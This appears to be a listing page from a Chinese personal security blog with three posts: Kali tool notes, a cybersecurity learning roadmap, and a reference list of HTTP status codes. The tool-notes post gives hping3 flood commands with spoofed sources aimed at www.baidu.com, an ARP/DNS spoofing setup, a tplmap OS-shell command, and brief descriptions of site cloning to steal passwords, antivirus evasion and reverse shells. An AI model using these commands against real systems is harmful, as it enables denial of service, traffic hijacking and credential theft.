(分布式拒绝服务攻击) // UDP ddos攻击: hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ICMP ddos攻击: hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // SYN ddos攻击: hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ACK ddos攻击: hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com // 端口扫描 hping3 -I eth0 -S 192.168.10.1 -p 80dnsspoofdnsspoof是一个dns欺骗工具 我们使用locate dnsspoof.hosts找到这个文件vi 编辑他如下 对应映射会跳转到别胡网站:10.10.10.3 .baidu.com10.10.10.3 .google.com.hkecho 1 >> /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 10.10.10.2 10.10.10.254 arpspoof -i eth0 -t 10.10.10.254 10.10.10.2 // 过滤规则 dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53dnsspoof的原理如下:由于DNS协议使用是传输层协议是UDP协议, 这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP. 10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少? 10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。ipdrone通过ip返回经纬度一些信息可实现定位,只能定位到市类似你在百度上搜,ip返回的运营商大概的位置,需要python环境里面没什么厉害的代码,就是调了个api接口实现的。Github: https://github.com/noob-hackers/ipdronepython ipdrone.py -v 127.0.0.1 // 示例 setoolkit功能有很多自己研究吧,一般常用克隆网站,骗取输入账号密码。Aircrack-ng暴力破解WIFI密码的工具,前提需要独立的无线网卡一块,没有其实也是有办法的。httrack爬取网页文件的工具,也就是爬虫工具,在终端输入httrack安装下就行。burpsuiteburp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。beef漏洞分为存储型、反射型、DOM型,最常见的就是利用XSS漏洞弹窗,进一步获取用户Cookie信息。可是如今的WEB系统,有的已经设置HttpOnly属性,有的在请求头中使用Authorization字段提供token令牌,这导致了我们难以获取到用户的身份信息。在这个背景下,XSS漏洞好像越来越没用了。BeEF-XSS是一款非常强大的XSS平台,集成了许多payload,利用它可以极大的提高XSS漏洞的威力。binwalkbinwalk是kali系统中下的文件分析工具。主要是用于CTF_杂项的隐写题,分离提取隐写的文件。如:从图片里分离出压缩包,从流量分析文件里分离出图片,压缩包等。binwalk filepath // 分析文件 binwalk -e filepath // 提取文件volatilityvolatility常用于以下镜像文件的取证:raw、vmen、dmp、img,工具需要自行下载。git clone https://github.com/volatilityfoundation/volatility.gitxsserxsser是一款用于web端自动挖掘和利用xss漏洞的工具,功能非常强大。xsser #命令行启动 xsser –gtk #GUI界面 xsser -u "http://xxx.xxx.xxx/" # 指定 URLpompemPompem的开源工具,该工具可以在当前最热门或最重要的漏洞数据库中搜索漏洞以及相应的漏洞利用代码。该工具采用Python开发,可以帮助渗透测试人员或白帽黑客快速完成漏洞审计任务。# 输入一些网站的框架就可以搜索相关的漏洞 pompem -s Wordpress pompem -s Joomla --html pompem -s "Internet Explorer,joomla,wordpress" --html pompem -s FortiGate --txt pompem -s ssh,ftp,mysqldirsearchdirsearch是一个基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口。dirsearch -u http://www.xxx.comGithub: https://github.com/maurosoria/dirsearchtplmapTplmap是一款自动检测和发掘服务器端模板注入漏洞的工具。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig。python3 tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell Github: https://github.com/epinna/tplmapkoadic在渗透测试过程中,小伙伴们通常会使用netcat、ncat进行反弹shell,但windows电脑通常不具备开箱即用这些命令的特点,故本期视频我们将分享一个工具koadic,它可以利用windows自带的mshta命令,进行反弹shell从而控制整台windows计算机。同时在关闭终端后依然可以维持会话,除此之外,koadic工具还提供了各种实用的小功能,大家可以自行使用。git clone https://github.com/zerosum0x0/koadic.git cd koadic pip3 install -r requirements.txt ./koadicVeilVeil Evasion,Veil Evasion是linux的一款免杀工具,是一个用 Python 编写的免杀框架,用来生成MSF的Payload,能绕过常见的杀毒软件,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。wapitiWapiti是一款Web应用扫描工具,可以执行黑盒扫描,用户只需要输入要扫描的网址即可,该工具可以探测文件包含、数据库注入、XSS、CRLF、XXE注入、.htaccess绕过等漏洞,还可以指定报告文件格式等。wpscanWPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题,还使用了 Nikto,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。radare2Radare2是一个开源的命令行反汇编框架和逆向工程工具,支持多种架构和文件格式,可以用来对二进制文件进行静态和动态分析,包括反汇编、调试、数据可视化等操作等,跟IDA和x64dbg差不多,最主要的是kali自带,用起来感觉还可以。r2 pwnROPgadgetROPgadget 是一款强大的工具,专为在二进制文件中寻找Gadget而设计。它不仅是一个便捷的查找工具,也能自动化执行相关操作,极大地方便了研究人员在进行返回导向编程(ROP)攻击时的利用过程。ROPgadget 支持多种处理器架构,包括 x86、x64、ARM、PowerPC、SPARC 和 MIPS,同时兼容 ELF、PE 和 Mach-O 三种主流的文件格式。
2022年09月20日
983 阅读
0 评论
76 点赞
2022-09-19
【每日随记】网络安全学习路线
学习路线网络安全学的比较杂,什么都要懂。这里整理了正确的学习方法,少走弯路、按顺序学下去。一、网络安全学习普法1、了解并介绍《网络安全法》2、《全国人大常委会关于维护互联网安全的决定》3、《中华人民共和国计算机信息系统安全保护条例(2011 年修正)》4、《中华人民共和国计算机信息网络国际联网管理暂行规定》5、《计算机信息网络国际联网安全保护管理办法》6、《互联网信息服务管理办法》7、《计算机信息系统安全专用产品检测和销售许可证管理办法》8、《通信网络安全防护管理办法》9、《国家安全法》二、夯实一下基础,梳理和复习LINUX 系统运维基础1、LINUX 服务管理2、DOCKER 安装使用3、LINUX 安全加固网络必备基础1、物理层2、数据链路层与交换机3、网络模型 OSI TCP 对等传输4、虚拟局域网 VLAN5、静态路由与配置6、网络地址转换 NAT7、访问控制列表 ACL8、IP 协议与 IP 地址分类9、子网掩码10、网关11、子网划分三、HTML与JAVASCRIPT(了解一下语法即可,要求不高)1、HTML 入门?为什么要学习 HTML2、HTML 文档格式、实体详解3、HTML 标签、框架、表格、列表、表单、图像、背景讲解4、JAVASCRIPT 简介5、JAVASCRIPT 特点6、JAVASCRIPT 组成7、如何在网页中写 JAVASCRIPT四、PHP入门1、PHP 环境搭建、编写代码工具选择2、PHP 基础语法(函数、变量、常量、注释、数据类型、流程控制、算术运算)3、PHP 流程控制(IF 语句 多种嵌套 SWITCH 语句 WHILE 循环 FOR 循环 GOTO 循环) PHP 函数4、PHP 正则表达式5、PHP 文件上传、PHP 错误处理6、PHP 操作 MYSQL 数据库7、PHP 会话管理和控制五、MYSQL/MSSQL1、数据库介绍、分类、安装、配置、登录、连接等2、数据库基本操作 创建、查看、选中、查库表、删除数据库等相关命令行操作3、数据字段操作 创建 修改 增加 调整字段顺序 排序 删除等字段命令行操作4、数据库表操作创建 查看 选中删除数据库表等相关个命令行操作5、数据类型 整型、浮点、字符、时间、符合型等6、字符集合索引7、增删改查之更新记录、数据库权限操作六、重点02黑客守则03安全运维工程师行业发展与就业趋势04企业级网站攻击方式概述与Linux系统常见...05安全导论/病毒/恶意程序/黑客/入侵/06 CentOS7.x模板机封装有系统优化/与攻防环...07 CentOS7.x模板机封装有系统优化/与攻防环...08攻防环境搭建/DVWA靶场搭建/网站前端技...09企业级CentOS7.x系统目录管理常见命令10企业级CentOS7.x系统文件操作基础命令11企业级CentOS7.x系统中VI/VIM文本编辑器12企业级CentOS7.x系统文件权限13企业级CentOS7.x系统文件属性14企业级CentOS7.x系统用户管理15企业级CentOS7.x系统字符集、通配符、特...16企业级CentOS7.x系统字符集、通配符、特...17企业级CentOS7.x文件压缩与文件传输(1)18企业级CentOS7.x系统文件查找实用技能19企业级CentOS7.x系统定时任务/计划任务20企业级CentOS7.x系统磁盘管理与项目实战21企业级CentOS7.x网络管理/与静态路由项目...22渗透测试之Web应用程序安全与风险导论23渗透测试之Nginx/Apache/Tomcat等Web服...24渗透测试安全工具之信息收集25渗透测试安全工具之漏洞扫描26渗透测试之SQL注入基础(上)27渗透测试安全工具之攻击框架,28渗透测试之SQL注入基础(下)、工具和POST...29渗透测试之资产梳理与Nmap工具介绍30渗透测试之SQL注入盲注31渗透测试之SQL注入基于报错注入(上)32渗透测试之SQL注入基于报错注入(下)33渗透测试之SQL注入之SQL使用34渗透测试之SQL注入之SQL注入防御,35渗透测试必备工具(上)36 渗透测试必备工具(下)37渗透测试漏洞挖掘/漏洞扫描38渗透测试Kali Linux安全渗透39等级保护之等保流程以及渗透测试报告编写40等级保护之Linux系统安全加固(上) 41 渗透测试之网络安全跨站脚本攻击介绍-XSS...42渗透测试之文件上传漏洞43渗透测试之网络安全跨站脚本攻击介绍-XSS...44渗透测试之网络安全跨站脚本攻击介绍-XSS...45渗透测试之网络安全服务请求伪造漏洞-CSRF46渗透测试之网络安全服务请求伪造漏洞-SSRF,47业务安全漏铜Top1048渗透测试之暴力破解与验证码安全49 DDoS–DDoS、CC、SYN–Linux安全三大攻...50 DDoS–防火墙技术/Shell编程技术实践51 DDoS–DDoS安全防御52 DDoS-DDoS安全防御53安全-社会工程(上)54安全-社会工程(下)55拒绝访问攻防说明-DoS-DDoS,56序列化与反序列化57文件上传58社会工程学三59社会工程学四60WAF绕过渗透与防御61验证码安全渗透与防御62WEBSHELL相关渗透与防御63系统权限提升渗透与防御64数据库权限提升渗透与防御65三方应用软件安全66ARP渗透与防御67内网相关渗透与防御68无线安全相关渗透与防御69渗透报告编写70木马免杀问题与防御71windows安全系列问题72等级保护73风险评估74安全巡检75应急响应76代码审计七、自我提升1、ANDROID脱壳与逆向2、SHELL深入3、C深入学习4、C++深入学习5、go语言6、JAVA语言7、windows的脱壳与逆向8、区块链9、CTF深入
2022年09月19日
150 阅读
0 评论
6 点赞
2022-09-17
【每日随记】HTTP状态码大全
状态范围100 - 199 表示成功接收请求,要求客户端继续提交下一次请求才能完成整个处理过程200 - 299 表示成功接收请求并已完成整个处理过程,常用200300 - 399 为完成请求,客户需进一步细化请求,常用302、304、307400 - 499 客户端的请求有错误,常用404500 - 599 服务端出现错误,常用5002xx(成功)HTTP 200: OK,服务器已成功处理了请求。通常表示服务器提供了请求的网页HTTP 201:请求成功并且服务器 创建了新的资源HTTP 202:服务器已接收了请求,但尚未处理HTTP 203:服务器已处理了请求,但返回信息可能来自另一来源(非授权信息)HTTP 204:服务器已处理了请求,但 没有返回任何内容HTTP 205:与204类似,但要求请求者重置文档视图HTTP 206:服务器成功处理了 部分GET请求3xx(重定向)HTTP 300:针对请求,服务器可执行多种操作(多种选择)HTTP 301: Moved Permanently,永久重定向,请求的网页已 永久移动到新位置,会自动将请求转到新位置HTTP 302: Found, 暂时重定向。服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来响应以后的位置,与301类似,会自动将请求者转到不同的位置HTTP 303:请求者对不同的位置使用单独的GET请求检索响应时,服务器返回此代码(查看其它位置)HTTP 304:上次请求后请求的网页 未修改过,通常页面被缓存后再次请求将显示此状态码如果网页自上次请求后再没有被修改过,应将服务器配置为返回此响应(if-Modified-Since),可以节省带宽和开销HTTP 305:请求者只能 使用代理访问请求的页面HTTP 307:与301类似(临时重定向)4xx(请求错误)HTTP 400: Bad Request,请求无效,服务器不理解请求的语法( 参数错误,格式错误)HTTP 401: 未授权,访问被拒绝。对于登录后请求的网页,服务器可能会返回此响应。IIS定义了许多不同的401错误,这些具体的错误代码在浏览器中显示,但不在IIS日志中显示HTTP 401.1:未授权,登录无效HTTP 401.2:未授权,服务器配置问题导致登录失败HTTP 401.3:ACL禁止访问资源HTTP 401.4:未授权,授权被筛选器拒绝HTTP 401.5:未授权,ISAPI或CGI授权失败 HTTP 401.7:未授权,URL授权策略拒绝访问HTTP 403: Forbiden,禁止访问,服务器拒绝请求。对Internet服务管理器的访问仅限于LocalhostHTTP 403.1:禁止访问,禁止可执行访问HTTP 403.2:禁止访问,禁止读访问HTTP 403.3:禁止访问,禁止写访问HTTP 403.4:禁止访问,要求使用SSL查看该资源HTTP 403.5:禁止访问,要求使用SSL 128查看该资源HTTP 403.6:禁止访问,IP地址被拒绝HTTP 403.7:禁止访问,要求SSL客户端证书HTTP 403.8:禁止访问,客户端DNS名称被拒绝HTTP 403.9:禁止访问,连接的用户太多HTTP 403.10:禁止访问,配置无效HTTP 403.11:禁止访问,密码更改HTTP 403.12:禁止访问,服务器证书映射器拒绝客户端证书访问HTTP 403.13:禁止访问,客户证书已吊销 HTTP 403.14:禁止访问,在web服务器上已拒绝目录列表HTTP 403.15:禁止访问,客户访问许可过多 HTTP 403.16:禁止访问,客户证书不可信或者无效HTTP 403.17:禁止访问,客户端证书已到期或者尚未生效HTTP 403.18:禁止访问,无法在当前应用程序池中执行请求的URL,错误代码为IIS 6.0专用HTTP 403.19:禁止访问,无法在应用程序池中为客户端执行CGIHTTP 403.20:禁止访问,passport登录失败,错误代码为IIS 6.0专用HTTP 404: Not Found,无法找到文件或目录(请求的网页不存在)HTTP 404.1:文件或目录无法找到,网站无法在所请求的端口访问HTTP 404.2:文件或目录无法找到,锁定策略禁止该请求HTTP 404.3:文件或目录无法找到,MIME映射策略禁止该请求注意: 404.1 错误只会出现在具有多个 IP 地址的计算机上。如果在特定 IP 地址 / 端口组合上收到客户端请求,而且没有将 IP 地址配置为在该特定的端口上侦听,则 IIS 返回 404.1 HTTP 错误。例如,如果一台计算机有两个 IP 地址,而只将其中一个 IP 地址配置为在端口 80 上侦听,则另一个 IP 地址从端口 80 收到的任何请求都将导致 IIS 返回 404.1 错误。只应在此服务级别设置该错误,因为只有当服务器上使用多个 IP 地址时才会将它返回给客户端HTTP 405:禁止请求中指定的方法;用于访问该页的HTTP动作未被许可HTTP 406:客户端浏览器 不接受所请求页面的MIME类型HTTP 407:要求初始的代理身份验证,与401错误类似,但指定请求者应当授权使用代理HTTP 408:请求超时HTTP 409:服务器在完成请求时发生 冲突(资源冲突或资源被锁定)HTTP 410:文件已删除,与404类似HTTP 411:服务器不接受不含有有效内容长度标头字段的请求(需要有效长度)HTTP 412:客户端设置的前提条件在Web服务器上评估时失败(服务器未满足请求条件)HTTP 413: 请求实体过大,超出服务器的处理能力HTTP 414:请求URI太长。Web服务器不接受该URLHTTP 415:不支持的数据类型或媒体类型,请求的格式不接受请求页面的支持HTTP 416:请求范围不符合要求HTTP 417:服务器未满足"期望"请求标头字段的请求HTTP 423:锁定的错误HTTP 429:请求过多被限制5xx(服务器错误)HTTP 500: Internal Server Error,服务器内部错误HTTP 500.100:内部服务器错误,ASP错误 HTTP 500.11:服务器正在关闭HTTP 500.12:应用程序正在重启 HTTP 500.13:服务器太忙HTTP 500.14:应用程序配置无效 HTTP 500.15:不允许直接请求global.asaHTTP 500.16:服务器错误,UNC授权凭据不正确 HTTP 500.17:服务器错误,URL授权存储无法找到HTTP 500.18:服务器错误,URL授权存储无法打开 HTTP 500.19:服务器错误,该文件的数据在配置数据库中配置不正确HTTP 500.20:服务器错误,URL授权域无法找到HTTP 501:接口未实现(服务器无法识别请求方法时可能会返回此代码)HTTP 502: Bad Gateway,网关错误(Web服务器作为网关或代理服务器时从上游服务器收到无效响应)HTTP 503:服务器超时,暂时不可用HTTP 504: 网关超时(Web服务器作为网关或代理服务器,没有从上游服务器收到请求)HTTP 505: HTTP版本不受支持(Web服务器不支持请求中的HTTP版本协议)
2022年09月17日
86 阅读
0 评论
2 点赞
1
...
6
7
8
...
14
0:00